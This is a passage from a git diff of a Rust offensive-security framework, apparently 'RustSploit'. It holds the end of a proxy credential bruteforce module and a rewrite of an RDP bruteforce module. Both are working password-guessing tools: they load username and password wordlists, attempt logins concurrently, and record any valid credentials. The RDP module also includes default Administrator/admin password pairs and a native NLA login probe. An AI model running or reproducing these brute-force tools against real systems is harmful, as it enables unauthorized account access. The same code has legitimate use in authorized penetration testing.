"service": "proxy",
|
||||
"proxy_type": format!("{:?}", proxy_type),
|
||||
"port": port,
|
||||
})),
|
||||
});
|
||||
}
|
||||
return Ok(outcome);
|
||||
}
|
||||
|
||||
// --- Single target ---
|
||||
let mut outcome = ModuleOutcome::ok();
|
||||
display_banner();
|
||||
|
||||
let proxy_type_input = cfg_prompt_default("proxy_type", "Proxy type (http_connect/socks5/http_forward)", "http_connect").await?;
|
||||
let proxy_type = ProxyType::from_str(&proxy_type_input);
|
||||
let normalized = normalize_target(target)?;
|
||||
let port = cfg_prompt_port("port", &format!("{} port", proxy_type.name()), proxy_type.default_port()).await?;
|
||||
|
||||
let users_file = cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?;
|
||||
let pass_file = cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?;
|
||||
let usernames = if wordlist::should_stream(&users_file) {
|
||||
let mut lines = Vec::new();
|
||||
let mut reader = wordlist::BatchedReader::open(&users_file).await?;
|
||||
while let Some(batch) = reader.next_batch().await? {
|
||||
lines.extend(batch);
|
||||
}
|
||||
lines
|
||||
} else {
|
||||
load_lines(&users_file)?
|
||||
};
|
||||
let passwords = if wordlist::should_stream(&pass_file) {
|
||||
let mut lines = Vec::new();
|
||||
let mut reader = wordlist::BatchedReader::open(&pass_file).await?;
|
||||
while let Some(batch) = reader.next_batch().await? {
|
||||
lines.extend(batch);
|
||||
}
|
||||
lines
|
||||
} else {
|
||||
load_lines(&pass_file)?
|
||||
};
|
||||
if usernames.is_empty() { return Err(anyhow!("Username list empty")); }
|
||||
if passwords.is_empty() { return Err(anyhow!("Password list empty")); }
|
||||
|
||||
let combo_input = cfg_prompt_default("combo_mode", "Combo mode (linear/combo/spray)", "combo").await?;
|
||||
let mut combos = generate_combos_mode(&usernames, &passwords, parse_combo_mode(&combo_input));
|
||||
if cfg_prompt_yes_no("cred_file", "Load additional user:pass combos from file?", false).await? {
|
||||
let cred_path = cfg_prompt_existing_file("cred_file_path", "Credential file (user:pass per line)").await?;
|
||||
combos.extend(load_credential_file(&cred_path)?);
|
||||
}
|
||||
|
||||
let concurrency = cfg_prompt_int_range("concurrency", "Concurrent attempts", 10, 1, 100).await? as usize;
|
||||
let stop_on_success = cfg_prompt_yes_no("stop_on_success", "Stop on first valid credential?", true).await?;
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose output?", false).await?;
|
||||
let save_path = cfg_prompt_output_file("output_file", "Output file", "proxy_brute_results.txt").await?;
|
||||
let timeout_ms: u64 = cfg_prompt_default("timeout", "Timeout (ms)", "5000").await?.parse().unwrap_or(5000);
|
||||
|
||||
crate::mprintln!("[*] Proxy: {} on {}:{}", proxy_type.name().cyan(), normalized, port);
|
||||
crate::mprintln!("[*] Combos: {}", combos.len());
|
||||
crate::mprintln!();
|
||||
|
||||
let limiter = ctx.limiter.clone();
|
||||
let module_path = ctx.module_path.clone();
|
||||
let result = run_bruteforce(
|
||||
&BruteforceConfig {
|
||||
target: normalized,
|
||||
port,
|
||||
concurrency,
|
||||
stop_on_success,
|
||||
verbose,
|
||||
delay_ms: 0,
|
||||
jitter_ms: 50,
|
||||
max_retries: 2,
|
||||
service_name: "proxy",
|
||||
source_module: "creds/generic/proxy_credcheck",
|
||||
},
|
||||
combos,
|
||||
move |target: String, port: u16, user: String, pass: String| {
|
||||
let limiter = limiter.clone();
|
||||
let module_path = module_path.clone();
|
||||
async move {
|
||||
limiter.acquire(&module_path, &target).await;
|
||||
try_proxy_auth(proxy_type, &target, port, &user, &pass, timeout_ms).await
|
||||
}
|
||||
},
|
||||
).await?;
|
||||
|
||||
result.print_found();
|
||||
result.save_to_file(&save_path)?;
|
||||
|
||||
for (host, user, pass) in &result.found {
|
||||
outcome.findings.push(Finding {
|
||||
target: host.clone(),
|
||||
kind: FindingKind::Credential,
|
||||
message: format!("Valid proxy credentials found: {}:{}", user, pass),
|
||||
data: Some(serde_json::json!({
|
||||
"username": user,
|
||||
"password": pass,
|
||||
"service": "proxy",
|
||||
"proxy_type": format!("{:?}", proxy_type),
|
||||
"port": port,
|
||||
})),
|
||||
});
|
||||
}
|
||||
Ok(outcome)
|
||||
}
|
||||
|
||||
crate::register_native_module!(crate::module::Category::Creds, "generic/proxy_bruteforce", native);
|
||||
@@ -1,270 +1,78 @@
|
||||
use anyhow::Result;
|
||||
use std::{
|
||||
fs::File,
|
||||
io::{BufRead, BufReader, Write},
|
||||
path::{Path, PathBuf},
|
||||
sync::Arc,
|
||||
};
|
||||
use tokio::{
|
||||
process::Command,
|
||||
sync::{Mutex, Semaphore},
|
||||
time::{sleep, Duration},
|
||||
};
|
||||
//! RDP credential probe — wraps `crate::native::rdp::try_login`.
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
println!("=== RDP Brute Force Module ===");
|
||||
println!("[*] Target: {}", target);
|
||||
use anyhow::{Context, Result};
|
||||
use crate::module::{ModuleCtx, ModuleOutcome};
|
||||
use std::time::Duration;
|
||||
|
||||
let port: u16 = loop {
|
||||
let input = prompt_default("RDP Port", "3389")?;
|
||||
match input.parse() {
|
||||
Ok(p) => break p,
|
||||
Err(_) => println!("Invalid port. Please enter a number."),
|
||||
}
|
||||
};
|
||||
use crate::module_info::{ModuleInfo, ModuleRank};
|
||||
use crate::native::rdp::{self, RdpLoginResult, PROTO_HYBRID, PROTO_RDP, PROTO_SSL};
|
||||
use crate::utils::creds_helper::{self, CredsRun};
|
||||
use crate::utils::LoginResult;
|
||||
|
||||
let usernames_file_path = prompt_required("Username wordlist path")?;
|
||||
let passwords_file_path = prompt_required("Password wordlist path")?;
|
||||
const DEFAULT_PORT: u16 = 3389;
|
||||
|
||||
let concurrency: usize = loop {
|
||||
let input = prompt_default("Max concurrent tasks", "10")?;
|
||||
match input.parse() {
|
||||
Ok(n) if n > 0 => break n,
|
||||
_ => println!("Invalid number. Must be greater than 0."),
|
||||
}
|
||||
};
|
||||
const DEFAULTS: &[(&str, &str)] = &[
|
||||
("Administrator", "Administrator"),
|
||||
("Administrator", "Password1"),
|
||||
("Administrator", ""),
|
||||
("admin", "admin"),
|
||||
("admin", "password"),
|
||||
];
|
||||
|
||||
let stop_on_success = prompt_yes_no("Stop on first success?", true)?;
|
||||
let save_results = prompt_yes_no("Save results to file?", true)?;
|
||||
let save_path = if save_results {
|
||||
Some(prompt_default("Output file name", "rdp_results.txt")?)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
let verbose = prompt_yes_no("Verbose mode?", false)?;
|
||||
let combo_mode = prompt_yes_no("Combination mode? (try every password with every user)", false)?;
|
||||
|
||||
let addr = format_socket_address(target, port);
|
||||
let found_credentials = Arc::new(Mutex::new(Vec::new()));
|
||||
let stop_signal = Arc::new(Mutex::new(false));
|
||||
|
||||
println!("\n[*] Starting brute-force on {}", addr);
|
||||
|
||||
let users = load_lines(&usernames_file_path)?;
|
||||
if users.is_empty() {
|
||||
println!("[!] Username wordlist is empty or invalid. Exiting.");
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
let passwords = load_lines(&passwords_file_path)?;
|
||||
if passwords.is_empty() {
|
||||
println!("[!] Password wordlist is empty or invalid. Exiting.");
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
let semaphore = Arc::new(Semaphore::new(concurrency));
|
||||
let mut handles = vec![];
|
||||
let mut user_cycle_idx = 0;
|
||||
|
||||
'password_loop: for pass in passwords {
|
||||
if *stop_signal.lock().await {
|
||||
break 'password_loop;
|
||||
}
|
||||
|
||||
let current_users_for_this_pass = if combo_mode {
|
||||
users.clone()
|
||||
} else {
|
||||
let user_for_this_pass = users[user_cycle_idx % users.len()].clone();
|
||||
user_cycle_idx += 1;
|
||||
vec![user_for_this_pass]
|
||||
};
|
||||
|
||||
for user in current_users_for_this_pass {
|
||||
if *stop_signal.lock().await {
|
||||
break 'password_loop; // Break outer loop if stopping
|
||||
}
|
||||
|
||||
let permit = Arc::clone(&semaphore).acquire_owned().await?;
|
||||
|
||||
let addr_clone = addr.clone();
|
||||
let user_clone = user.clone();
|
||||
let pass_clone = pass.clone();
|
||||
let found_credentials_clone = Arc::clone(&found_credentials);
|
||||
let stop_signal_clone = Arc::clone(&stop_signal);
|
||||
|
||||
let handle = tokio::spawn(async move {
|
||||
let _permit_guard = permit; // Permit dropped when task finishes
|
||||
|
||||
if *stop_signal_clone.lock().await {
|
||||
return;
|
||||
}
|
||||
|
||||
match try_rdp_login(&addr_clone, &user_clone, &pass_clone).await {
|
||||
Ok(true) => {
|
||||
println!("[+] SUCCESS: {} -> {}:{}", addr_clone, user_clone, pass_clone);
|
||||
let mut found = found_credentials_clone.lock().await;
|
||||
found.push((addr_clone.clone(), user_clone.clone(), pass_clone.clone()));
|
||||
if stop_on_success {
|
||||
*stop_signal_clone.lock().await = true;
|
||||
}
|
||||
}
|
||||
Ok(false) => {
|
||||
log(verbose, &format!("[-] ATTEMPT: {} -> {}:{}", addr_clone, user_clone, pass_clone));
|
||||
}
|
||||
Err(e) => {
|
||||
log(verbose, &format!("[!] ERROR for {}:{}/{}: {}", addr_clone, user_clone, pass_clone, e));
|
||||
}
|
||||
}
|
||||
sleep(Duration::from_millis(10)).await;
|
||||
});
|
||||
handles.push(handle);
|
||||
}
|
||||
}
|
||||
|
||||
for handle in handles {
|
||||
handle.await?; // Propagate JoinErrors if any task panicked
|
||||
}
|
||||
|
||||
let creds = found_credentials.lock().await;
|
||||
if creds.is_empty() {
|
||||
println!("\n[-] No credentials found.");
|
||||
} else {
|
||||
println!("\n[+] Valid credentials found:");
|
||||
for (host_addr, user, pass) in creds.iter() {
|
||||
println!(" {} -> {}:{}", host_addr, user, pass);
|
||||
}
|
||||
|
||||
if let Some(path_str) = save_path {
|
||||
let filename = get_filename_in_current_dir(&path_str);
|
||||
match File::create(&filename) {
|
||||
Ok(mut file) => {
|
||||
for (host_addr, user, pass) in creds.iter() {
|
||||
if writeln!(file, "{} -> {}:{}", host_addr, user, pass).is_err() {
|
||||
eprintln!("[!] Error writing to result file: {}", filename.display());
|
||||
break;
|
||||
}
|
||||
}
|
||||
println!("[+] Results saved to '{}'", filename.display());
|
||||
}
|
||||
Err(e) => {
|
||||
eprintln!("[!] Could not create output file '{}': {}", filename.display(), e);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async fn try_rdp_login(addr: &str, user: &str, pass: &str) -> Result<bool> {
|
||||
let mut child = Command::new("xfreerdp")
|
||||
.arg(format!("/v:{}", addr))
|
||||
.arg(format!("/u:{}", user))
|
||||
.arg(format!("/p:{}", pass))
|
||||
.arg("/cert:ignore")
|
||||
.arg("/timeout:5000")
|
||||
.arg("+auth-only") // Attempt authentication without full desktop session
|
||||
.arg("/log-level:OFF")
|
||||
.stdout(std::process::Stdio::null())
|
||||
.stderr(std::process::Stdio::null()) // Suppress stderr as well for cleaner output unless specific errors are parsed
|
||||
.spawn()?;
|
||||
|
||||
let status = child.wait().await?;
|
||||
Ok(status.success())
|
||||
}
|
||||
|
||||
fn prompt_required(msg: &str) -> Result<String> {
|
||||
loop {
|
||||
print!("{}: ", msg);
|
||||
std::io::stdout().flush()?;
|
||||
let mut s = String::new();
|
||||
std::io::stdin().read_line(&mut s)?;
|
||||
let trimmed = s.trim();
|
||||
if !trimmed.is_empty() {
|
||||
return Ok(trimmed.to_string());
|
||||
} else {
|
||||
println!("This field is required. Please provide a value.");
|
||||
}
|
||||
pub fn info() -> ModuleInfo {
|
||||
ModuleInfo {
|
||||
name: "RDP Bruteforce".to_string(),
|
||||
description:
|
||||
"Tests RDP authentication via the X.224 → MCS → CredSSP / Standard RDP flows. \
|
||||
Negotiates Hybrid (NLA) → TLS → Standard. Single-target — scheduler does fan-out."
|
||||
.to_string(),
|
||||
authors: vec!["RustSploit Contributors".to_string()],
|
||||
references: vec![
|
||||
"https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr".to_string(),
|
||||
],
|
||||
disclosure_date: None,
|
||||
rank: ModuleRank::Normal,
|
||||
default_port: Some(3389),
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_default(msg: &str, default_val: &str) -> Result<String> {
|
||||
print!("{} [{}]: ", msg, default_val);
|
||||
std::io::stdout().flush()?;
|
||||
let mut s = String::new();
|
||||
std::io::stdin().read_line(&mut s)?;
|
||||
let trimmed = s.trim();
|
||||
Ok(if trimmed.is_empty() {
|
||||
default_val.to_string()
|
||||
} else {
|
||||
trimmed.to_string()
|
||||
})
|
||||
pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
|
||||
let target = ctx.target.as_single().context("rdp_bruteforce requires a single-host target")?;
|
||||
creds_helper::run(
|
||||
target,
|
||||
CredsRun {
|
||||
service_name: "rdp",
|
||||
default_port: DEFAULT_PORT,
|
||||
source_module: "creds/generic/rdp_bruteforce",
|
||||
defaults: DEFAULTS,
|
||||
password_only: false,
|
||||
},
|
||||
|host, port, user, pass, timeout| async move { probe(&host, port, &user, &pass, timeout).await },
|
||||
)
|
||||
.await
|
||||
}
|
||||
|
||||
fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
|
||||
let options = if default_yes { "(Y/n)" } else { "(y/N)" };
|
||||
loop {
|
||||
print!("{} {} : ", msg, options);
|
||||
std::io::stdout().flush()?;
|
||||
let mut s = String::new();
|
||||
std::io::stdin().read_line(&mut s)?;
|
||||
let input = s.trim().to_lowercase();
|
||||
if input.is_empty() {
|
||||
return Ok(default_yes);
|
||||
} else if input == "y" || input == "yes" {
|
||||
return Ok(true);
|
||||
} else if input == "n" || input == "no" {
|
||||
return Ok(false);
|
||||
} else {
|
||||
println!("Invalid input. Please enter 'y', 'yes', 'n', or 'no'.");
|
||||
}
|
||||
async fn probe(host: &str, port: u16, user: &str, pass: &str, timeout: Duration) -> LoginResult {
|
||||
let addr = format!("{}:{}", host, port);
|
||||
// Negotiate protocols best-to-worst: NLA → TLS → Standard. The native
|
||||
// helper picks whichever the server selects.
|
||||
let proto = PROTO_HYBRID | PROTO_SSL | PROTO_RDP;
|
||||
match rdp::try_login(&addr, user, pass, timeout, proto).await {
|
||||
Ok(RdpLoginResult::Success) => LoginResult::Success,
|
||||
Ok(RdpLoginResult::AuthFailed) => LoginResult::AuthFailed,
|
||||
Ok(RdpLoginResult::ConnectionFailed(msg)) => LoginResult::Error {
|
||||
message: msg,
|
||||
retryable: true,
|
||||
},
|
||||
Ok(RdpLoginResult::ProtocolError(msg)) => LoginResult::Error {
|
||||
message: msg,
|
||||
retryable: false,
|
||||
},
|
||||
Err(e) => LoginResult::Error {
|
||||
message: format!("rdp: {e:#}"),
|
||||
retryable: true,
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
fn load_lines<P: AsRef<Path>>(path: P) -> Result<Vec<String>> {
|
||||
let file = File::open(path.as_ref())
|
||||
.map_err(|e| anyhow::anyhow!("Failed to open file '{}': {}", path.as_ref().display(), e))?;
|
||||
let reader = BufReader::new(file);
|
||||
Ok(reader
|
||||
.lines()
|
||||
.filter_map(Result::ok)
|
||||
.map(|line| line.trim().to_string())
|
||||
.filter(|line| !line.is_empty())
|
||||
.collect())
|
||||
}
|
||||
|
||||
fn log(verbose: bool, msg: &str) {
|
||||
if verbose {
|
||||
println!("{}", msg);
|
||||
}
|
||||
}
|
||||
|
||||
fn get_filename_in_current_dir(input_path_str: &str) -> PathBuf {
|
||||
let path = Path::new(input_path_str);
|
||||
let filename_component = path
|
||||
.file_name()
|
||||
.map(|os_str| os_str.to_string_lossy())
|
||||
.unwrap_or_else(|| std::borrow::Cow::Borrowed(input_path_str)); // Fallback to input if no filename part
|
||||
|
||||
let final_name = if filename_component.is_empty()
|
||||
|| filename_component == "."
|
||||
|| filename_component == ".."
|
||||
|| filename_component.contains('/') // Ensure it's not a path segment
|
||||
|| filename_component.contains('\\')
|
||||
{
|
||||
"rdp_brute_results.txt" // A robust default filename
|
||||
} else {
|
||||
filename_component.as_ref()
|
||||
};
|
||||
|
||||
PathBuf::from(format!("./{}", final_name))
|
||||
}
|
||||
|
||||
fn format_socket_address(ip: &str, port: u16) -> String {
|
||||
let trimmed_ip = ip.trim_matches(|c| c == '[' || c == ']');
|
||||
if trimmed_ip.contains(':') && !trimmed_ip.contains("]:") { // Basic IPv6 check, avoid re-bracketing if port already there
|
||||
format!("[{}]:{}", trimmed_ip, port)
|
||||
} else {
|
||||
format!("{}:{}", trimmed_ip, port)
|
||||
}
|
||||
}
|
||||
crate::register_native_module!(crate::module::Category::Creds, "generic/rdp_bruteforce", native);
|
||||
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user